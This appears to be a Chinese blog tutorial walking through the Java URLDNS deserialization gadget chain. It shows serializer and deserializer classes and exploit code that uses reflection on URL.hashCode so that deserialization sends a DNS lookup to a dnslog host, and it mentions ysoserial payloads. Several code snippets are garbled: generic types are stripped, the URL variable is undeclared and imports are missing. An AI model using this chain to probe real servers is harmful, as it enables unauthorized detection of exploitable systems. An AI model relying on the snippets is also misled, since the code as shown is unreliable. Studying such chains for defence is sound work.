天生我材必有用,千金散尽还复来
1.三个部分
反序列化调用主要分为三个部分,入口类,调用链,危险函数。
入口类:含readObject()函数,接收任意对象作为参数,可序列化;
调用链:入口类的readObject()函数中调用了其他类的函数,一层层调用下去,最终到达危险函数;
危险函数:可以被攻击者利用执行命令或探测的函数。
2.调用链
urldns链触发原因为同名函数调用。
Gadget为:HashMap(put)->HashMap(putVal)->HashMap(hash)->URL(hashCode)
3.代码分析
根据前一章的知识,首先来写一个序列化的类和一个反序列化的类(复习)。
序列化类代码:
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class Serializable {
public static void ser(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("url.ser"));
out.writeObject(obj);
}
}
反序列化代码:
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;
public class unSerializable {
public static void main(String[] args) throws IOException, ClassNotFoundException {
ObjectInputStream in = new ObjectInputStream(new FileInputStream("url.ser"));
Object obj = (Object) in.readObject();
System.out.println(obj);
}
}
接下来写利用代码,在编写代码前,我们先来介绍一下HashMap类。
HashMap是一种为了提升操作效率的数据结构,本质在使用上还是存取key-value键值对的使用方式,但是在实现上引入了key值的HASH映射到一维数组的形式来实现,再进入了链表来解决hash碰撞问题。
从键值对的设置和读取两方面来解释:
设置键值对key-value:
1)计算key的hash,即Hash(k);
2)通过Hash(k)映射到有限的数组a的位置i;
3)在a[i]的位置存入value;
4)因为把计算出来的不同的key的hash映射到有限的数组长度,肯定会出现不同的key对应同一个数组位置i的情况。如果发现a[i]已经有了其他key的value,就放入这个i位置后面对应的链表(根据多少的情况可能变为树)中。
读取key的value:
1)计算key的hash,即Hash(k);
2)通过Hash(k)映射到有限的数组a的位置i;
3)读取在a[i]的位置的value;
4)如果发现a[i]已经有了其他key的value,就遍历这个i位置后面对应的链表(根据情况多少可能变为树)去查找这个key再去取值。
利用代码:
import java.io.IOException;
import java.util.HashMap;
public class urldnstest {
public static void main(String[] args) throws IOException {
HashMap, Integer> hashMap = new HashMap, Integer>();
hashMap.put(url, 1);
}
}
执行后收到dnslog请求:
这里没有用到序列化和反序列化函数,我们先放在一边,debug跟进调试一下。
将断点打在put函数那一行:
跟进去到了HashMap类的put函数中:
继续跟进,到了hash函数中:
继续,到了URL类:
在URL类中,hashCode值为-1,所以没有进入if,而是执行下面的hashCode函数:
在hashCode函数中,执行的是一些解析操作,在这个过程中,dnslog会接收到请求,从而完成了整个触发过程。
接下来,我们只需要调用序列化函数,将这个过程序列化,当服务器在反序列化的过程中,就会执行我们的利用代码,将请求发送至dnslog平台。
(如果看到此处你有一些疑问,请接着看下去)
调用序列化函数:
执行后在左侧项目栏中可以看到生成了一个url.ser文件,同时,dnslog也接收到了请求。
好了,刚才有些有基础的小伙伴可能会发出这样的疑问:反序列化漏洞,你在序列化的时候就给我触发了,那我反序列化的时候触发个毛啊?
好问题。
接下来我们来分析,序列化的时候什么地方是它触发的关键转折,以及怎样让它不触发。
回顾刚才,我们可以看到,在URL类的hashCode函数中,如下写道:
这里会判断hashCode的值是否为-1,刚才序列化时,该值为-1,所以继续走到了最终解析我们传入域名的hashCode函数中,所以,如果我们让它的值在序列化时不等于-1,而在反序列化时等于-1,是否就能达到我们想要的效果了呢?
但是,我们要怎么做才能改变它的值呢?
没错,反射。
利用反射实现urldns链的有效利用:
代码如下:
public class urldnstest {
public static void main(String[] args) throws IOException, NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
HashMap, Integer> hashMap = new HashMap, Integer>();
Class c = url.getClass();
Field urlfield = c.getDeclaredField("hashCode"); //获取属性(私有属性)
urlfield.setAccessible(true);
urlfield.set(url, 1); //设置参数的值为1
hashMap.put(url, 1);
Serializable.ser(hashMap);
}
}
这次dnslog平台已不会接收到请求。
另外,在反序列化的时候让hashCode的值重新等于-1,只需要在调用序列化函数之前添加一行urlfield.set(url, -1)
再次执行重新生成url.ser后,执行反序列化函数代码,成功在平台接收到请求:
至此,urldns链的利用已分析完成。这是一个比较简单的利用链,但是作为一个新手,也翻来覆去看了好几遍哈哈,好在收获不浅。
这个链虽然没有办法直接执行代码,但是这个链不需要其他的依赖,原生java就能调用成功,同时也是我们做渗透时点到为止利用的一个好途径。
4.ysoserial工具利用
使用工具生成payload:
将其复制到项目文件夹下:
反序列化执行:
成功接收到请求:
【假装有图】,手贱一不小心刷新了,栓q。
参考链接: